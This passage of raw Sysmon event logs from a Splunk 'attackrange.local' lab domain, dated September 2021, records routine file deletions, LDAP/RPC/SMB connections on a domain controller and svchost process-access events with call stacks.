Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0C4B98B8D282932FCAD39F019DC28EF1,SHA256=29EBCB3E1367AB5EF30D2E35DCC54B6808F9B2E57D9BC5A134E1EF5835BB3DB4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:57.726{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3F9CB4802A568F4EF8F7989C9866AB04,SHA256=74284ED38524F274F55B82E536C203A18833D987F6C92E55EFE629E758CA1A25,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:57.460{7BD73061-65B2-613B-1600-00000000F001}1296NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\Windows\Logs\WindowsUpdate\WindowsUpdate.20201111.040624.014.1.etlMD5=0BFE01A1D9A4C7F35D3071234417D1F8,SHA256=BC53B550F720A12A453F5698A3F9203683B995063C75B4617BE4D5454ADB9225,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.096{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59374-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000047127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.096{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59374-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000047126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.091{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59373-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local49666- 354300x800000000000000047125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.091{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59373-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local49666- 354300x800000000000000047124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.090{7BD73061-65B2-613B-0D00-00000000F001}892C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59372-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000047123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:55.090{7BD73061-65B2-613B-1400-00000000F001}340C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59372-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local135epmap 354300x800000000000000047122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:54.988{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.14win-dc-387.attackrange.local59371-false10.0.1.14win-dc-387.attackrange.local389ldap 354300x800000000000000047121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:54.988{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\System32\svchost.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59371-false10.0.1.14win-dc-387.attackrange.local389ldap 23542300x800000000000000014864Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:58.801{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6F16B247B195E45D24167C921EB7AB80,SHA256=DF29F81A96073F756C074EB74A9F216732690F23C5F33FDF6755F20762733832,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:58.741{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6C93DD3822D8F7AC529F336006565C94,SHA256=FC00523DCA55E08C7C0E23B08D780E754CE5BF813481D7AAD4D6A64C69B221E5,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000014863Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:57.405{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50186-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000047136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:58.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:58.523{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:58.523{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:58.523{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 23542300x800000000000000047132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:58.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=C274EBFFE285AADA9B1F13044F0A9394,SHA256=09A58EEAD31C15507FC57CF586C5B3D98287E3F67C9397084458D900E995BD18,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:58.476{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=1D4AF0F64BBF2178BB7B2559E3480A5D,SHA256=71C1964D0D95971A5952CB11FC0111F84FAC9E904A56EFF4ADD65259C8E6D879,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014866Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:59.827{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5196F6CEB2F3C5595C361D7646224BBE,SHA256=7498AC8726F614A6091EA154F0CF32E392D837B4F94B91D32035394D733B521B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.757{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=49AEBE5FAD4E7E72167FD7E666772E30,SHA256=FA8A22DF9FBD6A3381C78455BF66B55BF4DA71997024E88EEB4B980CCCEFDDD7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000014865Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:49:59.303{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-035MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.257{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9148DCA8C6234BF3012A2FE523677F75,SHA256=133E760CB0572B7FF399A6D4839B08ECA9C4E89D40586FEBEDBEE79E6BD05C6F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.101{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.101{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.101{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.101{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.101{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.101{7BD73061-6D0E-613B-8B06-00000000F001}45004812C:\Windows\system32\sihost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+37dac|C:\Windows\System32\modernexecserver.dll+37d4f|C:\Windows\System32\modernexecserver.dll+375a6|C:\Windows\System32\modernexecserver.dll+1a1c4|C:\Windows\System32\modernexecserver.dll+3191d|C:\Windows\System32\modernexecserver.dll+32871|C:\Windows\System32\modernexecserver.dll+3278f|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.038{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:49:59.038{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000047138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 